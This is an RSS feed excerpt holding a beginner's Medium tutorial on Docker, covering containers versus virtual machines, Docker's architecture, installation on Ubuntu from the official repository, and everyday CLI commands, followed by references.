href="https://docs.docker.com/get-started/introduction/get-docker-desktop/">https://docs.docker.com/get-started/introduction/get-docker-desktop/</a></li><li>Docker Inc. “docker run.” Docker CLI Reference. Available at: <a href="https://docs.docker.com/reference/cli/docker/container/run/">https://docs.docker.com/reference/cli/docker/container/run/</a></li><li>Docker Inc. “docker ps.” Docker CLI Reference. Available at: <a href="https://docs.docker.com/reference/cli/docker/container/ls/">https://docs.docker.com/reference/cli/docker/container/ls/</a></li><li>Docker Inc. “docker exec.” Docker CLI Reference. Available at: <a href="https://docs.docker.com/reference/cli/docker/container/exec/">https://docs.docker.com/reference/cli/docker/container/exec/</a></li><li>Docker Inc. “docker logs.” Docker CLI Reference. Available at: <a href="https://docs.docker.com/reference/cli/docker/container/logs/">https://docs.docker.com/reference/cli/docker/container/logs/</a></li><li>Docker Inc. “Use the Docker command line.” Docker CLI overview. Available at: <a href="https://docs.docker.com/reference/cli/docker/">https://docs.docker.com/reference/cli/docker/</a></li><li>Docker Inc. “Dockerfile reference.” Docker Documentation — build and Dockerfile instructions (FROM, RUN, CMD, EXPOSE, VOLUME, etc.). Available at: <a href="https://docs.docker.com/reference/dockerfile/">https://docs.docker.com/reference/dockerfile/</a></li><li>Docker Inc. “Building best practices.” Docker Documentation — recommendations for Dockerfile instructions and image layering. Available at: <a href="https://docs.docker.com/build/building/best-practices/">https://docs.docker.com/build/building/best-practices/</a></li><li>Docker Inc. “Docker Hub.” Official Docker image registry. Available at: <a href="https://hub.docker.com/">https://hub.docker.com</a></li><li>DigitalOcean. “How To Install and Use Docker on Ubuntu.” DigitalOcean Community Tutorial, 2026. Available at: <a href="https://www.digitalocean.com/community/tutorials/how-to-install-and-use-docker-on-ubuntu-22-04">https://www.digitalocean.com/community/tutorials/how-to-install-and-use-docker-on-ubuntu-22-04</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=336a8be3e1ce" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Docker for Beginners: The Complete Guide to Concepts, Architecture, & Installation]]></title>
            <link>https://medium.com/@adriansyah1230/docker-for-beginners-the-complete-guide-to-concepts-architecture-installation-a81ad1f324ae?source=rss-bde419e52529------2</link>
            <guid isPermaLink="false">https://medium.com/p/a81ad1f324ae</guid>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[devsecops]]></category>
            <category><![CDATA[docker]]></category>
            <dc:creator><![CDATA[Adrian Syah Abidin]]></dc:creator>
            <pubDate>Sat, 07 Feb 2026 07:03:00 GMT</pubDate>
            <atom:updated>2026-02-07T07:03:00.905Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S8uuQ5VgU3rq5bEaUa2HXA.png" /></figure><h3>From Virtual Machines to Containers: A Practical Introduction to Docker</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FDQdB7wFEygo%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DDQdB7wFEygo&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FDQdB7wFEygo%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/7d07342107145b7257f32d58b08b9428/href">https://medium.com/media/7d07342107145b7257f32d58b08b9428/href</a></iframe><p>If you’ve ever heard “but it worked on my machine” in a deployment meeting, you’ve already met the problem Docker is designed to solve.</p><p>Before containers, teams deployed applications in two main ways:</p><p><strong>1. Directly on the server</strong> — install the app and all its dependencies (runtime, libraries, databases) right on the host.</p><ul><li><strong>Pros:</strong> Simple and fast to set up; just install and configure.</li><li><strong>Cons:</strong> No real isolation between apps. Two apps needing different versions of the same library or runtime will quickly fall into <strong>dependency conflicts</strong>.</li></ul><p><strong>2. Using virtual machines (VMs)</strong> with a hypervisor (like VMware, VirtualBox, KVM).</p><ul><li><strong>Pros:</strong> Each app gets its <strong>own OS</strong> and environment, so dependency conflicts are minimized.</li><li><strong>Cons:</strong> Heavy. Each VM runs its own <strong>guest OS and kernel</strong>, on top of the host OS. Running many VMs means duplicating OS overhead, consuming lots of CPU, RAM, and disk.</li></ul><p>What many teams really need is something in between:</p><ul><li>isolation like a VM,</li><li>but lightweight enough to run many “virtual environments” on a single host.</li></ul><p>This is exactly the gap Docker fills.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FJ0NuOlA2xDc%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DJ0NuOlA2xDc&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FJ0NuOlA2xDc%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/f1f379d5a5758bac914cda8a3a1fda85/href">https://medium.com/media/f1f379d5a5758bac914cda8a3a1fda85/href</a></iframe><h3>From chroot and LXC to Docker: Why Containers Matter</h3><p>The idea of isolating processes is not new. Long before Docker:</p><ul><li><strong>chroot</strong> on Unix allowed changing a process’s root directory, giving basic isolation.</li><li><strong>LXC (Linux Containers)</strong> built on Linux <strong>namespaces</strong> and <strong>cgroups</strong>:</li><li><strong>Namespaces</strong> isolate things like process IDs, network interfaces, and file systems.</li><li><strong>cgroups</strong> control and limit resource usage (CPU, memory, I/O) for groups of processes.</li></ul><p>With LXC, you could run multiple isolated environments on a single Linux host. But:</p><ul><li>It was <strong>powerful yet low-level</strong>.</li><li>There were no opinionated standards or easy tooling for <strong>packaging applications with their dependencies</strong>, distributing them, and managing them consistently.</li></ul><p>Docker took these underlying kernel features and added:</p><ul><li>A standard <strong>image format</strong>.</li><li>A consistent <strong>CLI &amp; API</strong>.</li><li>A powerful <strong>ecosystem</strong> (Docker Hub, registries, orchestration tools).</li></ul><h3>What Is Docker?</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FeGz9DS-aIeY%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DeGz9DS-aIeY&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FeGz9DS-aIeY%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/378782af7a3eeb50231bcdb1007a3c99/href">https://medium.com/media/378782af7a3eeb50231bcdb1007a3c99/href</a></iframe><p>Docker started at a startup called <strong>dotCloud</strong>, founded by Solomon Hykes around 2010. dotCloud was a Platform-as-a-Service (PaaS) provider that used LXC to isolate customer applications. The team realized that:</p><ul><li>Containers were extremely powerful for isolation and portability.</li><li>But raw LXC was too complex for everyday developers.</li></ul><p>They began building tooling to simplify <strong>building</strong>, <strong>distributing</strong>, and <strong>managing</strong> containers. In March 2013, they open-sourced this tooling as <strong>Docker</strong>.</p><p>In simple terms:</p><blockquote><strong><em>Docker is an open-source platform for building, shipping, and running applications in lightweight, isolated environments called containers.</em></strong></blockquote><p>Key points:</p><ul><li>A <strong>Docker image</strong> packages your application and all its dependencies.</li><li>A <strong>container</strong> is a running instance of that image.</li><li>Multiple containers can run on the <strong>same OS kernel</strong>, sharing resources, but remain <strong>logically isolated</strong> from each other.</li><li>This drastically reduces “dependency hell” and environment drift between dev, test, and production.</li></ul><p>Instead of running a full guest OS for each application (like a VM), Docker:</p><ul><li>Shares the <strong>host OS kernel</strong>,</li><li>Runs each app in its own isolated container,</li><li>Uses <strong>layers</strong> to make images small and efficient.</li></ul><h3>Docker vs Virtual Machines (Conceptual Overview)</h3><p><strong>Virtual Machines:</strong></p><ul><li>Hypervisor (Type 1 or Type 2) splits physical resources into multiple VMs.</li></ul><p>Each VM has:</p><ul><li>Its own <strong>guest OS</strong>,</li><li>Its own kernel,</li><li>Its own libraries and application stack.</li><li>Heavy resource usage; booting a VM feels like booting a real OS.</li></ul><p><strong>Docker Containers:</strong></p><ul><li>Run <strong>on top of the host OS kernel</strong>, using namespaces and cgroups.</li></ul><p>Each container:</p><ul><li>Shares the host kernel,</li><li>Has its own filesystem, processes, and network stack (logically isolated),</li><li>Starts up in seconds or less.</li><li>Much more efficient in resource usage and much faster to start/stop.</li></ul><p>So Docker gives you:</p><ul><li>Isolation and reproducibility like VMs,</li><li>With startup speed and resource usage closer to native processes.</li></ul><h3>Core Docker Concepts</h3><p>To really “get” Docker, it helps to understand a few core building blocks.</p><h3>1. Docker Engine</h3><p><strong>Docker Engine</strong> is the core component that makes Docker work. It’s a <strong>client–server application</strong> made of:</p><p><strong>Docker daemon (</strong><strong>dockerd)</strong><br>A background process running on the host that:</p><ul><li>Manages <strong>containers</strong>, <strong>images</strong>, <strong>networks</strong>, and <strong>volumes</strong>.</li><li>Listens for API requests and performs the heavy lifting.</li></ul><p><strong>Docker API</strong><br>A REST-like interface that other tools (including the CLI) use to talk to the daemon.</p><p><strong>Docker CLI (</strong><strong>docker command)</strong></p><p>The command-line tool you use every day:</p><ul><li>docker run, docker build, docker pull, etc.</li><li>The CLI sends your commands to the daemon via the API.</li></ul><p>Workflow example:</p><ol><li>You run docker run nginx.</li><li>The <strong>CLI</strong> calls the <strong>API</strong>.</li><li>The <strong>daemon</strong> pulls the nginx image if needed, creates a container, and starts it.</li></ol><h3>2. Docker Image</h3><p>A <strong>Docker image</strong> is a <strong>read-only template</strong> that defines:</p><ul><li>The base OS (e.g., ubuntu:22.04, node:18-alpine).</li><li>Installed packages and runtimes (e.g., Python, Node.js, NGINX).</li><li>Application code and configuration.</li><li>Default process to run when a container starts.</li></ul><p>Images are:</p><ul><li>Built from a <strong>Dockerfile</strong> (a text file with build instructions).</li><li>Composed of <strong>layers</strong>:</li><li>Each instruction (FROM, RUN, COPY, etc.) adds a layer.</li><li>When the Dockerfile changes, only affected layers are rebuilt.</li><li>This makes builds faster and images smaller.</li></ul><p>You typically:</p><ol><li>Write a Dockerfile.</li><li>Build an image with docker build -t myapp:latest ..</li><li>Push it to a registry (e.g., Docker Hub).</li><li>Run containers from that image on any host with Docker installed.</li></ol><h3>3. Docker Container</h3><p>A <strong>container</strong> is a <strong>running instance</strong> of an image.</p><ul><li>You create and start containers using docker run.</li></ul><p>Containers can be:</p><ul><li>Started, stopped, restarted.</li><li>Connected to networks.</li><li>Given volumes for persistent data.</li></ul><p>By default, each container is <strong>isolated</strong> from:</p><ul><li>Other containers.</li><li>The host (except for resources you explicitly share).</li></ul><p>Important behavior:</p><ul><li>The container’s writable layer is <strong>ephemeral</strong>: If you delete a container, any changes not stored in volumes are lost.</li></ul><p>Containers are defined by:</p><ul><li>The image they’re based on,</li><li>Configuration you provide at docker run time (env vars, ports, volumes, etc.).</li></ul><h3>4. Docker Registry &amp; Docker Hub</h3><p><strong>Docker registry</strong> = a service that <strong>stores images</strong>.</p><ul><li><strong>Docker Hub</strong> (<a href="https://hub.docker.com/">https://hub.docker.com</a>) is the default public registry:</li><li>You can docker pull official images like ubuntu, nginx, mysql, node, etc.</li><li>You can docker push your own images to share or deploy elsewhere.</li></ul><p>Key points:</p><ul><li>Docker images are usually <strong>not</strong> moved around as raw files.</li></ul><p>Instead, the normal workflow is:</p><ul><li>Build image locally.</li><li>docker push to a registry.</li><li>On another host, docker pull from that registry.</li></ul><p>Cloud providers also offer private/public registries:</p><ul><li><strong>Amazon ECR</strong>, <strong>Google Container Registry (GCR)</strong>, <strong>Azure Container Registry (ACR)</strong>, <strong>Alibaba ACR</strong>, <strong>Harbor</strong>, etc.</li></ul><h3>5. Docker Compose (High-Level Preview)</h3><p>While not the main focus of this article (it’s coming in the next one), it’s worth mentioning:</p><ul><li><strong>Docker Compose</strong> lets you define and run <strong>multi-container applications</strong> using a docker-compose.yml (or compose.yaml) file.</li></ul><p>Typical use case:</p><ul><li>One container for the app,</li><li>One for the database,</li><li>One for a cache, etc.</li></ul><p>With one command (docker compose up), you can bring the whole stack up and down.</p><p>This becomes extremely useful once you move beyond single-container demos.</p><h3>Why Docker Is So Useful in Real Projects</h3><p>Some of Docker’s practical benefits:</p><p><strong>Simplified configuration</strong></p><ul><li>Use the right base image (e.g., node, php, python, mysql) and layer your app on top.</li><li>Avoid manually configuring runtimes on every server.</li><li>Your image becomes your “portable environment”.</li></ul><p><strong>Good isolation and security</strong></p><ul><li>Containers isolate processes from each other and from the host.</li><li>Bind mounts can be <strong>read-only</strong> or <strong>read-write</strong>.</li><li>Attack surface can be reduced using minimal base images and strict permissions.</li></ul><p><strong>Portability across environments</strong></p><ul><li>The image that works on your laptop will work on:</li><li>CI servers,</li><li>Staging,</li><li>Production,</li><li>Cloud platforms (AWS, GCP, Azure) that support containers.</li></ul><p><strong>Better debugging</strong></p><ul><li>Logs are per-container. If one component is broken, you inspect just that container.</li><li>You can docker exec into a running container and inspect it directly.</li></ul><p><strong>OS flexibility</strong></p><ul><li>Some apps rely on Unix-specific behavior.</li><li>With Docker, you can run a Linux-based container on:</li><li>Linux natively,</li><li>Windows/macOS through Docker Desktop (which runs a Linux VM under the hood).</li><li>This lets you develop Linux-native apps even from other OSes.</li></ul><h3>Setting Up Docker: Installation and First Checks</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FZyBBv1JmnWQ%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DZyBBv1JmnWQ&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FZyBBv1JmnWQ%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/129bd58f028b67f9b2e6fea6898fa49c/href">https://medium.com/media/129bd58f028b67f9b2e6fea6898fa49c/href</a></iframe><p>Docker can run on:</p><ul><li><strong>Linux</strong>: Ubuntu, Debian, CentOS, Fedora, etc. (Docker Engine).</li><li><strong>Windows</strong>: Docker Desktop (Windows 10/11).</li><li><strong>macOS</strong>: Docker Desktop (or alternatives like Podman for container runtime).</li></ul><p>Official docs:</p><ul><li>Docker Engine for Ubuntu:<br> <a href="https://docs.docker.com/engine/install/ubuntu/">https://docs.docker.com/engine/install/ubuntu/</a></li><li>Docker Desktop (Windows &amp; macOS):<br> <a href="https://docs.docker.com/get-started/introduction/get-docker-desktop/">https://docs.docker.com/get-started/introduction/get-docker-desktop/</a></li></ul><p>Below is a concrete example for <strong>Ubuntu Server</strong>, using the official Docker repository.</p><h3>1. Prepare the Repository (Ubuntu)</h3><p>Update package index and install prerequisites:</p><pre>sudo apt-get update<br>sudo apt-get install ca-certificates curl</pre><p>Create the keyrings directory and add Docker’s official GPG key:</p><pre>sudo install -m 0755 -d /etc/apt/keyrings<br>sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc<br>sudo chmod a+r /etc/apt/keyrings/docker.asc</pre><p>Add the Docker repository to Apt sources:</p><pre>echo \<br>  &quot;deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \<br>  $(. /etc/os-release &amp;&amp; echo &quot;$VERSION_CODENAME&quot;) stable&quot; | \<br>  sudo tee /etc/apt/sources.list.d/docker.list &gt; /dev/null</pre><pre>sudo apt-get update</pre><h3>2. Install Docker Engine</h3><p>Install Docker Engine and related components:</p><pre>sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin</pre><p>Verify the installation:</p><pre>docker --version<br># Example output:<br># Docker version 27.2.0, build 3ab4256</pre><p>If the version prints correctly, Docker is installed.</p><h3>3. Verify Docker with hello-world</h3><p>Run the hello-world image to confirm that everything works:</p><pre>sudo docker run hello-world</pre><p>If installation is correct, you’ll see a message explaining that:</p><ul><li>Docker pulled the hello-world image from Docker Hub.</li><li>It created and ran a container from that image.</li><li>The container printed a welcome message and exited.</li></ul><p>This confirms that:</p><ul><li>The <strong>daemon</strong> is running.</li><li>The <strong>CLI</strong> can talk to it.</li><li>Pulling images from Docker Hub works.</li></ul><h3>Basic Docker Commands You’ll Use Every Day</h3><p>Now that Docker is installed, let’s walk through the most commonly used commands and what they do.</p><h3>1. View General Docker Info</h3><p>Use this to see high-level information: number of containers, images, storage driver, etc.</p><pre>sudo docker info</pre><p>Helpful when:</p><ul><li>You want to quickly see how many containers/images exist.</li><li>You’re troubleshooting the Docker environment itself.</li></ul><h3>2. Working with Images: docker pull, docker images</h3><h3>Pull an image from Docker Hub</h3><pre>sudo docker pull &lt;image-name:version&gt;<br># Example:<br>sudo docker pull ubuntu:latest</pre><p>This downloads the image layers from the registry to your local host.</p><h3>List local images</h3><pre>sudo docker images<br># or<br>sudo docker image ls</pre><p>You’ll see columns like REPOSITORY, TAG, IMAGE ID, CREATED, SIZE.</p><h3>3. Running Containers: docker run</h3><p>To run an image as a container:</p><pre>sudo docker run &lt;flags&gt; &lt;image-name:version&gt;<br># Example:<br>sudo docker run -d -p 8000:80 nginx</pre><p>Common flags:</p><ul><li>-d (detached): run container in the background.</li><li>-p host_port:container_port: map a host port to a port inside the container.</li><li>--name mycontainer: give the container a custom name.</li></ul><p>Example explanation:</p><pre>sudo docker run -d -p 8000:80 nginx</pre><ul><li>Starts an nginx container in the background.</li><li>Maps <strong>host port 8000</strong> to <strong>container port 80</strong>.</li><li>You can then open http://localhost:8000 on the host to access NGINX.</li></ul><p>General syntax:</p><pre>docker run [OPTIONS] IMAGE [COMMAND] [ARG...]</pre><h3>4. Listing and Managing Containers: docker ps, docker start, docker stop, docker kill</h3><h3>List containers</h3><pre>sudo docker ps        # running containers<br>sudo docker ps -a     # all containers (running + stopped)</pre><h3>Start an existing (stopped) container</h3><p>If you already created a container and it’s stopped:</p><pre>sudo docker start &lt;container-name-or-id&gt;</pre><p>No need to create a new container; just restart the existing one.</p><h3>Stop a running container gracefully</h3><pre>sudo docker stop &lt;container-name-or-id&gt;</pre><ul><li>Sends a signal to allow the container to shut down cleanly within a timeout.</li><li>If it doesn’t stop in time, Docker kills it.</li></ul><h3>Immediately kill a container</h3><pre>sudo docker kill &lt;container-name-or-id&gt;</pre><ul><li>Forcefully terminates the container without giving it time to shut down gracefully.</li><li>Useful for stuck containers, but use with care.</li></ul><h3>5. Inspecting Resource Usage: docker stats</h3><p>To see real-time resource usage (CPU, memory, network, I/O) per container:</p><pre>sudo docker stats</pre><p>This is handy for performance tuning and troubleshooting.</p><h3>6. Accessing a Container Shell: docker exec</h3><p>To “SSH into” a running container (actually you’re just attaching a shell):</p><pre>sudo docker exec &lt;flags&gt; &lt;container-name-or-id&gt; &lt;shell&gt;<br># Example:<br>sudo docker exec -it mycontainer bash</pre><p>Common flags:</p><ul><li>-i / --interactive: keep STDIN open.</li><li>-t / --tty: allocate a pseudo-TTY.</li></ul><p>Examples:</p><ul><li>sudo docker exec -it mycontainer bash<br> Open an interactive Bash shell inside the container.</li><li>sudo docker exec -it mycontainer sh<br> Use sh when Bash is not available (common in minimal images like Alpine).</li></ul><p>Once inside, you can:</p><ul><li>Inspect the filesystem.</li><li>Check configuration files.</li><li>Run diagnostic commands (ping, curl, etc.).</li></ul><h3>7. Viewing Logs: docker logs</h3><p>To read logs from a container:</p><pre>sudo docker logs &lt;container-name-or-id&gt;</pre><p>Useful options:</p><ul><li>-f (--follow): stream logs in real time.</li><li>--tail N: show only the last N lines.</li></ul><p>Example:</p><pre>sudo docker logs -f --tail 100 mycontainer</pre><p>This shows the last 100 lines and then follows new log output as it appears.</p><h3>8. Cleaning Up Images and Containers: docker rm, docker rmi, docker image prune</h3><h3>Remove containers</h3><pre>sudo docker rm &lt;container-id-or-name&gt;</pre><p>(Remember: you usually need to docker stop before docker rm.)</p><h3>Remove images</h3><pre>sudo docker rmi &lt;image-name:tag&gt;<br># or<br>sudo docker rmi &lt;image-id&gt;</pre><p>Aliases:</p><ul><li>docker image rm is the same as docker rmi.</li></ul><h3>Remove unused images</h3><pre>sudo docker image prune</pre><p>This deletes images that are not referenced by any container. Good for reclaiming disk space.</p><h3>9. Building, Tagging, and Pushing Images</h3><h3>Build an image from a Dockerfile</h3><p>Assume your Dockerfile is in the current directory:</p><pre>docker build -t myhello:latest .</pre><ul><li>-t myhello:latest gives the image a name (myhello) and tag (latest).</li><li>. means “use the current directory as the build context”.</li></ul><h3>Tag an image</h3><pre>docker tag myhello:latest myrepo/myhello:v1.0</pre><p>This creates an additional tag pointing to the same image. Needed before pushing to registries.</p><h3>Push an image to a registry</h3><pre>docker push myrepo/myhello:v1.0</pre><ul><li>You must be logged in (docker login) and have permission on the registry.</li></ul><h3>10. Inspecting and Exploring Images</h3><p>Some additional useful commands:</p><ul><li>docker inspect &lt;image-or-container&gt;<br> Show detailed JSON metadata (network, mounts, config, etc.).</li><li>docker history &lt;image&gt;<br> Show the image’s layer history and sizes.</li><li>docker search &lt;term&gt;<br> Search Docker Hub from the CLI.</li><li>docker cp &lt;container:path&gt; &lt;host-path&gt; (or reverse)<br> Copy files between host and container.</li></ul><h3>Putting It All Together: A Simple Docker Workflow</h3><p>Here is a very typical end-to-end flow:</p><ol><li><strong>Install Docker</strong> using the repository method (as shown for Ubuntu).</li><li><strong>Verify</strong> with docker --version and docker run hello-world.</li><li><strong>Pull a base image</strong> for your stack:</li></ol><ul><li>docker pull node:18-alpine</li></ul><ol><li><strong>(Soon) Write a Dockerfile</strong> that:</li></ol><ul><li>Uses that base image,</li><li>Copies your app code,</li><li>Installs dependencies,</li><li>Sets a default command.</li></ul><ol><li><strong>Build your image</strong>:</li></ol><pre>docker build -t myapp:latest .</pre><ol><li><strong>Run your app</strong>:</li></ol><pre>docker run -d -p 127.0.0.1:8000:8000 --name myapp-container myapp:latest</pre><ol><li><strong>Inspect and debug</strong>:</li></ol><pre>docker ps docker logs -f myapp-container docker exec -it myapp-container bash</pre><ol><li><strong>Stop and clean up</strong> when done:</li></ol><pre>docker stop myapp-container docker rm myapp-container docker rmi myapp:latest</pre><p>This basic knowledge already covers a large portion of what you’ll use daily as a developer or DevOps engineer.</p><h3>What’s Next: Dockerfile &amp; Docker Compose</h3><p>In this article, you learned:</p><ul><li>Why traditional deployments and full VMs aren’t always enough.</li><li>How Docker leverages containerization for lightweight isolation.</li><li>The core concepts: Docker Engine, images, containers, registries, and basic commands.</li><li>How to install Docker on Ubuntu and run your first containers.</li></ul><p>In the <strong>next article</strong>, the focus will be on:</p><ul><li><strong>Dockerfile</strong>: how to define custom images for your own applications.</li><li><strong>Docker Compose</strong>: how to orchestrate multi-container applications (app + database + cache, etc.) with a single YAML file and a couple of commands.</li></ul><p>Stay tuned: we’ll discuss Dockerfiles and Docker Compose next.<br>Don’t forget to keep following my Medium articles for the continuation of this Docker series.</p><h3>References</h3><ol><li>Docker Inc. “Get Started with Docker.” Docker Documentation, 2026. Available at: <a href="https://docs.docker.com/get-started/">https://docs.docker.com/get-started/</a></li><li>Docker Inc. “Install Docker Engine on Ubuntu.” Docker Documentation, 2026. Available at: <a href="https://docs.docker.com/engine/install/ubuntu/">https://docs.docker.com/engine/install/ubuntu/</a></li><li>Docker Inc. “Use the Docker Command Line.” Docker CLI Reference, 2024. Available at: <a href="https://docs.docker.com/reference/cli/docker/">https://docs.docker.com/reference/cli/docker/</a></li><li>Docker Inc. “Support — Install Docker Engine.” Docker Documentation, 2025. Available at: <a href="https://docs.docker.com/engine/install/">https://docs.docker.com/engine/install/</a></li><li>Docker Inc. “Getting Started with Docker.” GitHub — docker/getting-started, 2020. Available at: <a href="https://github.com/docker/getting-started">https://github.com/docker/getting-started</a></li><li>“A Docker Tutorial for Beginners.” Docker Curriculum, 2018. Available at: <a href="https://docker-curriculum.com/">https://docker-curriculum.com</a></li><li>Docker Inc. “Get Started | Docker.” Product introduction page, 2025. Available at: <a href="https://www.docker.com/get-started/">https://www.docker.com/get-started/</a></li><li>Dockstore. “Getting Started with Docker.” Dockstore Documentation. Available at: <a href="https://docs.dockstore.org/en/stable/getting-started/getting-started-with-docker.html">https://docs.dockstore.org/en/stable/getting-started/getting-started-with-docker.html</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a81ad1f324ae" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>